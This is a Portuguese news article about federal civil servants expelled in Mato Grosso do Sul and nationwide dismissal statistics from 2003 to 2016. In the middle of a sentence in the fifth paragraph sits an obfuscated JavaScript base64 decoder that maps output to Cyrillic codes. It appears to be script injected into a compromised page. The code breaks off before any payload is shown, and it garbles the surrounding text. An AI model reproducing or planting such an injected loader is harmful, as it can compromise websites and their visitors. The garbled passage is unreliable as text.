A União expulsou 12 funcionários públicos federais lotados em Mato Grosso do Sul por condutas ilícitas até setembro de 2016, como corrupção, abandono de função, acúmulo de cargos e inassiduidade. Conforme relatório divulgado nesta segunda-feira (10) pelo órgão, a quantidade de penalidades aplicadas no Brasil chega 383.
Mato Grosso do Sul está na segunda posição no ranking nacional, se for levado em consideração a proporção entre o total de servidores federais ativos no Estado e o total de servidores expulsos, nos últimos cinco anos.
Em números absolutos, de janeiro a setembro deste ano, Mato Grosso do Sul está na 11ª posição. A lista é encabeçada pelo Rio de Janeiro, com 72 servidores punidos, seguido pelo Distrito Federal, com 41, e São Paulo, com 40. Acre, Tocantins, Alagoas, Amapá, Paraíba e Rio Grande do Norte são os estado com menos sanções, com apenas 1 caso.
O levantamento mostra que 127 agentes públicos foram demitidos no estado nos últimos 14 anos. O recorde local da perda de cargos foi em 2012 e 2013, quando a punição foi aplicada a 24 pessoas em cada um daqueles anos, totalizando 48 expulsões no período.
De 2003 a setembro de 2016, já foram aplicadas 5.043 demissões; 467 cassações de aposentadorias; e 532 destituições de ocupantes de cargos em comissão. Os dados não incluem empregados de estatais, a exemplo da Caixa Econômica, dos function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
O principal fundamento das expulsões foi a comprovação da prática de atos relacionados à corrupção, com 4.013 das penalidades aplicadas. Já o abandono de cargo, a inassiduidade ou a acumulação ilícita de cargos são motivos que vêm em seguida, com 1.395 dos casos.
Impedidos - Os servidores expulsos, nos termos da Lei Ficha Limpa, ficam inelegíveis por oito anos. Dependendo do tipo de infração cometida, também podem ficar impedidos de voltar a exercer cargo público. Em todos os casos, as condutas irregulares ficaram comprovadas após condução de Processo Administrativo Disciplinar (PAD) que garantiu aos envolvidos o direito à ampla defesa e ao contraditório.
